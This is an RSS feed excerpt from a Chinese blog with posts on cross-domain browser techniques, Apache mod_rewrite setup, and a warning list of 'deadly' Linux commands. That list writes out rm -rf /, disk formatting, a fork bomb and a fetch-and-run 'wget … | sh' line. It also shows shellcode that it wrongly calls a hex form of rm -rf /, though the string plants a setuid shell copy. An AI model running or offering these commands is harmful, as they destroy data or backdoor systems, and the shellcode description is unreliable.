src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/11/13/5761/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>跨域资源共享的10种方式</title>
		<link>http://www.iwanna.cn/archives/2010/10/25/5640/</link>
		<comments>http://www.iwanna.cn/archives/2010/10/25/5640/#comments</comments>
		<pubDate>Mon, 25 Oct 2010 13:35:20 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Domain]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5640</guid>
		<description><![CDATA[同源策略 在客户端编程语言中，如JavaScript和ActionScript，同源策略是一个很重要的安全理念，它在保证数据的安全性方面有着重要的意 义。同源策略规定跨域之间的脚本是隔离的，一个域的脚本不能访问和操作另外一个域的绝大部分属性和方法。那么什么叫相同域，什么叫不同的域呢？当两个域具 有相同的协议(如http), 相同的端口(如80)，相同的host（如www.example.org)，那么我们就可以认为它们是相同的域。比如 http://www.example.org/index.html和http://www.example.org/sub/index.html是 同域，而http://www.example.org, https://www.example.org, http://www.example.org:8080, http://sub.example.org中的任何两个都将构成跨域。同源策略还应该对一些特殊情况做处理，比如限制file协议下脚本的访问权限。 本地的HTML文件在浏览器中是通过file协议打开的，如果脚本能通过file协议访问到硬盘上其它任意文件，就会出现安全隐患，目前IE8还有这样的 隐患。 受到同源策略的影响，跨域资源共享就会受到制约。但是随着人们的实践和浏览器的进步，目前在跨域请求的技巧上，有很多宝贵经验的沉淀和积累。这里我 把跨域资源共享分成两种，一种是单向的数据请求，还有一种是双向的消息通信。接下来我将罗列出常见的一些跨域方式，以下跨域实例的源代码可以从这里获得。 单向跨域 JSONP JSONP (JSON with Padding)是一个简单高效的跨域方式，HTML中的script标签可以加载并执行其他域的JavaScript，于是我们可以通过script标 记来动态加载其他域的资源。例如我要从域A的页面pageA加载域B的数据，那么在域B的页面pageB中我以JavaScript的形式声明pageA 需要的数据，然后在pageA中用script标签把pageB加载进来，那么pageB中的脚本就会得以执行。JSONP在此基础上加入了回调函 数，pageB加载完之后会执行pageA中定义的函数，所需要的数据会以参数的形式传递给该函数。JSONP易于实现，但是也会存在一些安全隐患，如果 第三方的脚本随意地执行，那么它就可以篡改页面内容，截获敏感数据。但是在受信任的双方传递数据，JSONP是非常合适的选择。 Flash URLLoader Flash有自己的一套安全策略，服务器可以通过crossdomain.xml文件来声明能被哪些域的SWF文件访问，SWF也可以通过API来 确定自身能被哪些域的SWF加载。当跨域访问资源时，例如从域www.a.com请求域www.b.com上的数据，我们可以借助Flash来发送 HTTP请求。首先，修改域www.b.com上的crossdomain.xml(一般存放在根目录，如果没有需要手动创建) ，把www.a.com加入到白名单。其次，通过Flash URLLoader发送HTTP请求，最后，通过Flash API把响应结果传递给JavaScript。Flash URLLoader是一种很普遍的跨域解决方案，不过需要支持iOS的话，这个方案就无能为力了。 Access Control Access Control是比较超越的跨域方式，目前只在很少的浏览器中得以支持，这些浏览器可以发送一个跨域的HTTP请求（Firefox, Google Chrome等通过XMLHTTPRequest实现，IE8下通过XDomainRequest实现），请求的响应必须包含一个Access- Control-Allow-Origin的HTTP响应头，该响应头声明了请求域的可访问权限。例如www.a.com对www.b.com下的 asset.php发送了一个跨域的HTTP请求，那么asset.php必须加入如下的响应头： header("Access-Control-Allow-Origin: http://www.a.com"); window.name window对象的name属性是一个很特别的属性，当该window的location变化，然后重新加载，它的name属性可以依然保持不变。 那么我们可以在页面A中用iframe加载其他域的页面B，而页面B中用JavaScript把需要传递的数据赋值给 window.name，iframe加载完成之后，页面A修改iframe的地址，将其变成同域的一个地址，然后就可以读出window.name的值 了。这个方式非常适合单向的数据请求，而且协议简单、安全。不会像JSONP那样不做限制地执行外部脚本。 server proxy 在数据提供方没有提供对JSONP协议或者window.name协议的支持，也没有对其它域开放访问权限时，我们可以通过server proxy的方式来抓取数据。例如当www.a.com域下的页面需要请求www.b.com下的资源文件asset.txt时，直接发送一个指向 www.b.com/asset.txt的ajax请求肯定是会被浏览器阻止。这时，我们在www.a.com下配一个代理，然后把ajax请求绑定到这 个代理路径下，例如www.a.com/proxy/, 然后这个代理发送HTTP请求访问www.b.com下的asset.txt，跨域的HTTP请求是在服务器端进行的，客户端并没有产生跨域的ajax请 [...]]]></description>
			<content:encoded><![CDATA[<h3>同源策略</h3>
<p>在客户端编程语言中，如JavaScript和ActionScript，同源策略是一个很重要的安全理念，它在保证数据的安全性方面有着重要的意 义。同源策略规定跨域之间的脚本是隔离的，一个域的脚本不能访问和操作另外一个域的绝大部分属性和方法。那么什么叫相同域，什么叫不同的域呢？当两个域具 有相同的协议(如http),  相同的端口(如80)，相同的host（如www.example.org)，那么我们就可以认为它们是相同的域。比如 http://www.example.org/index.html和http://www.example.org/sub/index.html是 同域，而http://www.example.org, https://www.example.org,  http://www.example.org:8080,  http://sub.example.org中的任何两个都将构成跨域。同源策略还应该对一些特殊情况做处理，比如限制file协议下脚本的访问权限。 本地的HTML文件在浏览器中是通过file协议打开的，如果脚本能通过file协议访问到硬盘上其它任意文件，就会出现安全隐患，目前IE8还有这样的 隐患。</p>
<p>受到同源策略的影响，跨域资源共享就会受到制约。但是随着人们的实践和浏览器的进步，目前在跨域请求的技巧上，有很多宝贵经验的沉淀和积累。这里我 把跨域资源共享分成两种，一种是单向的数据请求，还有一种是双向的消息通信。接下来我将罗列出常见的一些跨域方式，以下跨域实例的源代码可以从<a href="http://github.com/colorhook/crossdomain" target="_blank">这里获得</a>。<br />
<span id="more-5640"></span></p>
<h3>单向跨域</h3>
<h4>JSONP</h4>
<p>JSONP (JSON with  Padding)是一个简单高效的跨域方式，HTML中的script标签可以加载并执行其他域的JavaScript，于是我们可以通过script标 记来动态加载其他域的资源。例如我要从域A的页面pageA加载域B的数据，那么在域B的页面pageB中我以JavaScript的形式声明pageA 需要的数据，然后在pageA中用script标签把pageB加载进来，那么pageB中的脚本就会得以执行。JSONP在此基础上加入了回调函 数，pageB加载完之后会执行pageA中定义的函数，所需要的数据会以参数的形式传递给该函数。JSONP易于实现，但是也会存在一些安全隐患，如果 第三方的脚本随意地执行，那么它就可以篡改页面内容，截获敏感数据。但是在受信任的双方传递数据，JSONP是非常合适的选择。</p>
<h4>Flash URLLoader</h4>
<p>Flash有自己的一套安全策略，服务器可以通过crossdomain.xml文件来声明能被哪些域的SWF文件访问，SWF也可以通过API来 确定自身能被哪些域的SWF加载。当跨域访问资源时，例如从域www.a.com请求域www.b.com上的数据，我们可以借助Flash来发送 HTTP请求。首先，修改域www.b.com上的crossdomain.xml(一般存放在根目录，如果没有需要手动创建)  ，把www.a.com加入到白名单。其次，通过Flash URLLoader发送HTTP请求，最后，通过Flash  API把响应结果传递给JavaScript。Flash  URLLoader是一种很普遍的跨域解决方案，不过需要支持iOS的话，这个方案就无能为力了。</p>
<h4>Access Control</h4>
<p>Access  Control是比较超越的跨域方式，目前只在很少的浏览器中得以支持，这些浏览器可以发送一个跨域的HTTP请求（Firefox, Google  Chrome等通过XMLHTTPRequest实现，IE8下通过XDomainRequest实现），请求的响应必须包含一个Access- Control-Allow-Origin的HTTP响应头，该响应头声明了请求域的可访问权限。例如www.a.com对www.b.com下的 asset.php发送了一个跨域的HTTP请求，那么asset.php必须加入如下的响应头：</p>
<pre lang="'php'">header("Access-Control-Allow-Origin: http://www.a.com");</pre>
<h4>window.name</h4>
<p>window对象的name属性是一个很特别的属性，当该window的location变化，然后重新加载，它的name属性可以依然保持不变。 那么我们可以在页面A中用iframe加载其他域的页面B，而页面B中用JavaScript把需要传递的数据赋值给 window.name，iframe加载完成之后，页面A修改iframe的地址，将其变成同域的一个地址，然后就可以读出window.name的值 了。这个方式非常适合单向的数据请求，而且协议简单、安全。不会像JSONP那样不做限制地执行外部脚本。</p>
<h4><a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">server</a> proxy</h4>
<p>在数据提供方没有提供对JSONP协议或者window.name协议的支持，也没有对其它域开放访问权限时，我们可以通过server  proxy的方式来抓取数据。例如当www.a.com域下的页面需要请求www.b.com下的资源文件asset.txt时，直接发送一个指向 www.b.com/asset.txt的ajax请求肯定是会被浏览器阻止。这时，我们在www.a.com下配一个代理，然后把ajax请求绑定到这 个代理路径下，例如www.a.com/proxy/,  然后这个代理发送HTTP请求访问www.b.com下的asset.txt，跨域的HTTP请求是在服务器端进行的，客户端并没有产生跨域的ajax请 求。这个跨域方式不需要和目标资源签订协议，带有侵略性，另外需要注意的是实践中应该对这个代理实施一定程度的保护，比如限制他人使用或者使用频率。</p>
<h3>双向跨域</h3>
<h4>document.<a href="http://www.iwanna.cn/tags/domain/" class="st_tag internal_tag" rel="tag" title="标签 Domain 下的日志">domain</a></h4>
<p>通过修改document的domain属性，我们可以在域和子域或者不同的子域之间通信。同域策略认为域和子域隶属于不同的域，比如 www.a.com和sub.a.com是不同的域，这时，我们无法在www.a.com下的页面中调用sub.a.com中定义的JavaScript 方法。但是当我们把它们document的domain属性都修改为a.com，浏览器就会认为它们处于同一个域下，那么我们就可以互相调用对方的 method来通信了。</p>
<h4>FIM –  Fragment Identitier Messaging</h4>
<p>不同的域之间，JavaScript只能做很有限的访问和操作，其实我们利用这些有限的访问权限就可以达到跨域通信的目的了。FIM  (Fragment Identitier  Messaging)就是在这个大前提下被发明的。父窗口可以对iframe进行URL读写，iframe也可以读写父窗口的URL，URL有一部分被称 为frag，就是#号及其后面的字符，它一般用于浏览器锚点定位，Server端并不关心这部分，应该说HTTP请求过程中不会携带frag，所以这部分 的修改不会产生HTTP请求，但是会产生浏览器历史记录。FIM的原理就是改变URL的frag部分来进行双向通信。每个window通过改变其他 window的location来发送消息，并通过监听自己的URL的变化来接收消息。这个方式的通信会造成一些不必要的浏览器历史记录，而且有些浏览器 不支持onhashchange事件，需要轮询来获知URL的改变，最后，URL在浏览器下有长度限制，这个制约了每次传送的数据量。</p>
<h4>Flash LocalConnection</h4>
<p>页面上的双向通信也可以通过Flash来解决，Flash  API中有LocalConnection这个类，该类允许两个SWF之间通过进程通信，这时SWF可以播放在独立的Flash  Player或者AIR中，也可以嵌在HTML页面或者是PDF中。遵循这个通信原则，我们可以在不同域的HTML页面各自嵌套一个SWF来达到相互传递 数据的目的了。SWF通过LocalConnection交换数据是很快的，但是每次的数据量有40kb的大小限制。用这种方式来跨域通信过于复杂，而且 需要了2个SWF文件，实用性不强。</p>
<h4>window.postMessage</h4>
<p>window.postMessage是HTML5定义的一个<a href="http://dev.w3.org/html5/postmsg/" target="_blank">很新的方法</a>，这个方法可以很方便地跨window通信。由于它是一个很新的方法，所以在 很旧和比较旧的浏览器中都无法使用。</p>
<h4>Cross Frame</h4>
<p>Cross  Frame是FIM的一个变种，它借助了一个空白的iframe，不会产生多余的浏览器历史记录，也不需要轮询URL的改变，在可用性和性能上都做了很大 的改观。它的基本原理大致是这样的，假设在域www.a.com上有页面A.html和一个空白代理页面proxyA.html,  另一个域www.b.com上有个页面B.html和一个空白代理页面proxyB.html，A.html需要向B.html中发送消息时，页面会创建 一个隐藏的iframe, iframe的src指向proxyB.html并把message作为URL  frag，由于B.html和proxyB.html是同域，所以在iframe加载完成之后，B.html可以获得iframe的URL，然后解析出 message，并移除该iframe。当B.html需要向A.html发送消息时，原理一样。Cross  Frame是很好的双向通信方式，而且安全高效，但是它在Opera中无法使用，不过在Opera下面我们可以使用更简单的 window.postMessage来代替。</p>
<h3>总结</h3>
<p>跨域的方法很多，不同的应用场景我们都可以找到一个最合适的解决方案。比如单向的数据请求，我们应该优先选择JSONP或者 window.name，双向通信我们采取Cross Frame，在未与数据提供方没有达成通信协议的情况下我们也可以用server  proxy的方式来抓取数据。</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/10/25/5640/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/10/25/5640/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/10/25/5640/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/10/25/5640/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/10/25/5640/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/10/25/5640/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>7个致命的 Linux 命令</title>
		<link>http://www.iwanna.cn/archives/2010/10/20/5609/</link>
		<comments>http://www.iwanna.cn/archives/2010/10/20/5609/#comments</comments>
		<pubDate>Wed, 20 Oct 2010 10:55:11 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[程序开发]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5609</guid>
		<description><![CDATA[如果你是一个 Linux 新手，在好奇心的驱使下，可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令，轻则使你的数据造成丢失，重则使你的系统造成瘫痪，所以，你应当竭力避免在系统中运行它们。 rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。 char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; 这是 rm -rf / 的 hex（十六进制）版本，很能迷惑 Linux 用户。 mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化，自然，硬盘上的所有数据将灰飞烟灭。 ){ :&#38; };: 著名的 fork bomp，此命令将告诉你的系统执行海量的进程，直到你的系统僵死。 any_command &#62; [...]]]></description>
			<content:encoded><![CDATA[<p>如果你是一个 <a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a> 新手，在好奇心的驱使下，可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 <a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a> 命令，轻则使你的数据造成丢失，重则使你的系统造成瘫痪，所以，你应当竭力避免在系统中运行它们。</p>
<ol>
<li> <code>rm -rf /</code> 此命令将递归并强制删除 / 目录下的所有文件。</li>
<li>
<pre><code>char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
</code></pre>
<p>这是 rm -rf / 的 hex（十六进制）版本，很能迷惑 Linux 用户。</li>
<li> <code>mkfs.ext3 /dev/sda</code> 这将对硬盘进行重新格式化，自然，硬盘上的所有数据将灰飞烟灭。</li>
<li> <code> <img src='http://www.iwanna.cn/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){ <img src='http://www.iwanna.cn/wp-includes/images/smilies/icon_neutral.gif' alt=':|' class='wp-smiley' /> :&amp; };:</code> 著名的 fork bomp，此命令将告诉你的系统执行海量的进程，直到你的系统僵死。</li>
<li> <code>any_<a href="http://www.iwanna.cn/tags/command/" class="st_tag internal_tag" rel="tag" title="标签 command 下的日志">command</a> &gt; /dev/sda</code> 使用该命令，原始数据将被写到块设备，其结果是造成数据丢失。</li>
<li> <code>wget http://some_untrusted_source -O- | sh</code> 不要从不信任的地方下载东西，这可能会获取恶意代码。</li>
<li> <code>mv /home/yourhomedirectory/* /dev/null</code> 此命令将移动主目录中的所有文件到一个不存在的地方，你将再也看不到那些文件。</li>
</ol>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/10/20/5609/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/10/20/5609/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/10/20/5609/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/10/20/5609/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/10/20/5609/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/10/20/5609/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于Apache mod_rewrite的中文配置、使用和语法介绍</title>
		<link>http://www.iwanna.cn/archives/2010/10/13/5537/</link>
		<comments>http://www.iwanna.cn/archives/2010/10/13/5537/#comments</comments>
		<pubDate>Wed, 13 Oct 2010 05:01:10 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5537</guid>
		<description><![CDATA[介绍和配置： 以数据库后台驱动的动态内容的网站，经常会遇到这些的问题： 当在浏览器的地址栏输入一个无效的参数时，会出现数据库的错误提示，这是一个安全的隐患 搜索引擎无法收录你的所有网页 网页的链接地址是一系列的参数，对浏览用户和搜索引擎都不易理解 这 些问题都可以通过Apache服务器的一个基本的模块mod_rewrite来解决，默认的安装的Apache就会装有这个模块。要启用这个模块，打开 httpd.conf文件，察看下面的两行是否被屏蔽，第一行是载入mod_rewrite模块，第二行是启用这个模块。 LoadModule rewrite_module modules/mod_rewrite.so AddModule mod_rewrite.c mod_rewrite这个模块是如何工作的呢？ mod_rewrite截获符合特定条件的URL，并按照设定的规则将它们改写成需要的URL。 比如，可以将 http://www.mysite.com/product.php?pid=123312 这样的URL改写成 http://www.mysite.com/product-123312.html 这样的静态URL，或者是更具体的 http://www.mysite.com/product/thinkpad-t42.html 重写的规则 重写的规则的表达式： RewriteRule 模式 替换 [选项] RewriteRule 是一个简单的命令告诉mod_rewrite这个模块如何去重写，关键的地方在于可以在模式和替换中使用正则表达式来匹配相应的字符，正则表达式的广泛的灵活性能将动态的URL转换成各式各样的符合要求的静态URL。看看这个重写规则： RewriteRule /products/([0-9]+) /fancy/products.php?id=$1 当你在浏览器地址栏输入 http://www.mysite.com/product/123 时，这个地址被重写为 http://www.mysite.com/fancy/product.php?id=123 这样，访问者就无法知道你的程序真正放在那个目录，程序的真正名字是什么，这也提高了网站的安全系数；这样的URL也去掉了？=这些字符，易于搜索引擎的机器人爬行你的网站。 通过正则表达式，可以写出更复杂的重写规则： RewriteRule ^/products$ /content.php RewriteRule ^/products/([0-9]+)$ /content.php?id=$1 RewriteRule ^/products/([0-9]+),([ad]*),([0-9]{0,3}),([0-9]*),([0-9]*$) 重写规则的选项有 ‘forbidden’ 或 ‘f’ &#8211; 403 禁止 ‘gone’ 或 [...]]]></description>
			<content:encoded><![CDATA[<p><strong>介绍和配置：</strong></p>
<p>以数据库后台驱动的动态内容的网站，经常会遇到这些的问题：</p>
<ul>
<li>当在浏览器的地址栏输入一个无效的参数时，会出现数据库的错误提示，这是一个安全的隐患</li>
<li>搜索引擎无法收录你的所有网页</li>
<li>网页的链接地址是一系列的参数，对浏览用户和搜索引擎都不易理解</li>
<p>这 些问题都可以通过Apache服务器的一个基本的模块mod_rewrite来解决，默认的安装的Apache就会装有这个模块。要启用这个模块，打开  httpd.conf文件，察看下面的两行是否被屏蔽，第一行是载入mod_rewrite模块，第二行是启用这个模块。</p>
<blockquote><p>LoadModule rewrite_module modules/mod_rewrite.so<br />
AddModule mod_rewrite.c</p></blockquote>
<p><strong>mod_rewrite这个模块是如何工作的呢？</strong></p>
<p>mod_rewrite截获符合特定条件的URL，并按照设定的规则将它们改写成需要的URL。</p>
<p>比如，可以将 http://www.mysite.com/product.php?pid=123312 这样的URL改写成<br />
http://www.mysite.com/product-123312.html 这样的静态URL，或者是更具体的 http://www.mysite.com/product/thinkpad-t42.html<br />
<span id="more-5537"></span><br />
<strong>重写的规则</strong></p>
<p>重写的规则的表达式：</p>
<blockquote><p>RewriteRule 模式 替换 [选项]</p></blockquote>
<p>RewriteRule 是一个简单的命令告诉mod_rewrite这个模块如何去重写，关键的地方在于可以在模式和替换中使用<strong>正则表达式</strong>来匹配相应的字符，正则表达式的广泛的灵活性能将动态的URL转换成各式各样的符合要求的静态URL。看看这个重写规则：</p>
<blockquote><p>RewriteRule /products/([0-9]+)<br />
/fancy/products.php?id=$1</p></blockquote>
<p>当你在浏览器地址栏输入 http://www.mysite.com/product/123 时，这个地址被重写为 http://www.mysite.com/fancy/product.php?id=123</p>
<p>这样，访问者就无法知道你的程序真正放在那个目录，程序的真正名字是什么，这也提高了网站的安全系数；这样的URL也去掉了？=这些字符，易于搜索引擎的机器人爬行你的网站。</p>
<p>通过正则表达式，可以写出更复杂的重写规则：</p>
<blockquote><p>RewriteRule ^/products$ /content.php<br />
RewriteRule ^/products/([0-9]+)$ /content.php?id=$1<br />
RewriteRule ^/products/([0-9]+),([ad]*),([0-9]{0,3}),([0-9]*),([0-9]*$)</p></blockquote>
<p>重写规则的选项有</ul>
<ul>
<li>‘forbidden’ 或 ‘f’ &#8211; 403 禁止</li>
<li>‘gone’ 或 ‘g’ &#8211; 410 gone</li>
<li>‘nocase’ 或 ‘NC’ &#8211; 大小写敏感</li>
<li>‘next’/N’ &#8211; 回到第一条规则</li>
<li>’skip=N’ 或 ‘S=N’ &#8211; 跳过下面的N条规则</li>
</ul>
<p><strong>流程控制</strong></p>
<p>mod_rewrite是按照从上到下的顺序执行重写的规则，如果URL匹配了第一条规则,则按照第一条规则进行重写，如果不匹配，就执行第二条规则，直到最后。通过流程控制，可以定义在不同情况下采用不同的重写规则。格式是：</p>
<blockquote><p>RewriteCond 测试条件 Condition</p></blockquote>
<p>这些测试条件有：</p>
<ul>
<li>HTTP变量: HTTP_USER_AGENT, HTTP_REFERER, HTTP_COOKIE, HTTP_FORWARDED, HTTP_HOST, HTTP_PROXY_CONNECTION, HTTP_ACCEPT</li>
<li>连 结和请求的变量: REMOTE_ADDR, REMOTE_HOST, REMOTE_USER, REMOTE_IDENT,  REQUEST_METHOD, SCRIPT_FILENAME, PATH_INFO, QUERY_STRING, AUTH_TYPE</li>
<li>服务器内部变量: DOCUMENT_ROOT, <a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">SERVER</a>_ADMIN, <a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">SERVER</a>_NAME, <a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">SERVER</a>_ADDR, <a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">SERVER</a>_PORT, <a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">SERVER</a>_PROTOCOL, <a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">SERVER</a>_SOFTWARE</li>
<li>系统变量: TIME_YEAR, TIME_MON, TIME_DAY, TIME_HOUR, TIME_MIN, TIME_SEC, TIME_WDAY, TIME</li>
<li>mod_rewrite特殊值: API_VERSION, THE_REQUEST, REQUEST_URI,</li>
</ul>
<p>例如，利用mod_rewrite可以禁止从其他的网站链接到你的图片：</p>
<blockquote><p>RewriteCond %{HTTP_REFERER} !^$<br />
RewriteCond %{HTTP_REFERER} !^http://localhost/.*$ [OR,NC]<br />
RewriteCond %{HTTP_REFERER} !^http://mysite.com/.*$ [OR,NC]<br />
RewriteCond %{HTTP_REFERER} !^http://www.mysite.com/.*$ [OR,NC]<br />
RewriteRule .*\.(gif|GIF|jpg|JPG)$ http://mysite/images/bad.gif [L,R]</p></blockquote>
<hr size="1" />
<p><strong>配置apache mod_rewrite最简单的方法</strong>：</p>
<p>在网上找了很多篇关于配置apache mod_rewrite的文章，发觉这篇最有用，大家需要的可参考一下。</p>
<p>1，通过php提供的phpinfo()函数查看环境配置，通过Ctrl+F查找到“Loaded Modules”，其中列出了所有apache2handler已经开启的模块，如果里面包括“mod_rewrite”，则已经支持，不再需要继续设置。<br />
如 果没有开启“mod_rewrite”，则打开目录 您的apache安装目录“/<a href="http://www.iwanna.cn/tags/apache/" class="st_tag internal_tag" rel="tag" title="标签 Apache 下的日志">apache</a>/conf/” 下的 httpd.conf  文件，通过Ctrl+F查找到“LoadModule  rewrite_module”，将前面的”#”号删除即可。如果没有查找到，则到“LoadModule”  区域，在最后一行加入“LoadModule rewrite_module  modules/mod_rewrite.so”（必选独占一行），然后重启apache服务器即可。</p>
<p>2， 让apache服务器支持”.htaccess”<br />
如 何让自己的本地APACHE服务器支持”.htaccess”呢?其实只要简单修改一下apache的httpd.conf设置就可以让APACHE支  持.htaccess了。打开httpd.conf文件(在那里? APACHE目录的CONF目录里面),用文本编辑器打开后,查找<br />
&lt;Directory /&gt;<br />
Options FollowSymLinks<br />
AllowOverride None<br />
&lt;/Directory&gt;<br />
改为<br />
&lt;Directory /&gt;<br />
Options FollowSymLinks<br />
AllowOverride All<br />
&lt;/Directory&gt;<br />
就可以了</p>
<p>3，建立 “.htaccess” 文件<br />
如果是在windows平台下，刚开始还真不知道怎么建立”.htaccess”文件，因为这个文件实际上没有文件名，仅仅只有扩展名，通过普通方式是无法建立这个文件的，别着急，马上告诉你三种方法：<br />
三 种方法都是先建立一个htaccess.txt的文本文件（当然，这个文本文件的名字你可以随便取），然后有三种方式给这个文件重命名：（1）用记事本  打开，点击文件–另存为，在文件名窗口输入”.htaccess”，注意是整个绿色部分，也就是包含英文引号，然后点击保存就行了。（2）进入cmd命令  窗口，通过cd切换当刚建立htaccess.txt文件的文件夹，然后输入命令：rename htaccess.txt .htaccess  ，然后点击键盘Enter键即可。（3）通过ftp连接htaccess.txt所在文件夹，通过ftp软件重命名。<br />
那 么我们须要建立几个“.htaccess”  文件，里面又输入什么内容呢？基本的原则是这样，根目录必须有一个，用于重定向（URl重写）所有的请求都会转到到index.php（交给前端控制  器）；”./application”文件夹下须要一个，用于拒绝所有针对该文件夹内容的直接访问（比如  http://localhost/application/models/User.php）,这样做是因为所有访问请求必选通过前端控制器来分配访  问，其次为了安全；“./library”文件夹下的“.htaccess”同前；”./public”文件夹下必选建一个，因为这个文件夹的文件全部是  供前端直接访问的，因此须要撤销URl重写。以下是4个“./htaccess”文件的内容：<br />
./.htaccess<br />
RewriteEngine on<br />
RewriteRule !\.(js|ico|gif|jpg|png|css)$ index.php<br />
./application/.htaccess<br />
deny from all<br />
./library/.htaccess<br />
deny from all<br />
./public<br />
RewriteEngine off<br />
实际上，apache的url重写功能也可以直接在httpd.conf文件中进行设置，这里就不具体讲了，网上相关的教程也很多。</p>
<hr size="1" />
<p><strong>Apache的RewriteRule规则详细介绍：</strong></p>
<p><strong>R</strong>[=code](force redirect) 强制外部重定向<br />
强制在替代字符串加上http://thishost[:thisport]/前缀重定向到外部的URL.如果code不指定，将用缺省的302 HTTP状态码。<br />
<strong>F</strong>(force URL to be forbidden)禁用URL,返回403HTTP状态码。<br />
<strong>G</strong>(force URL to be gone) 强制URL为GONE，返回410HTTP状态码。<br />
<strong>P</strong>(force proxy) 强制使用代理转发。<br />
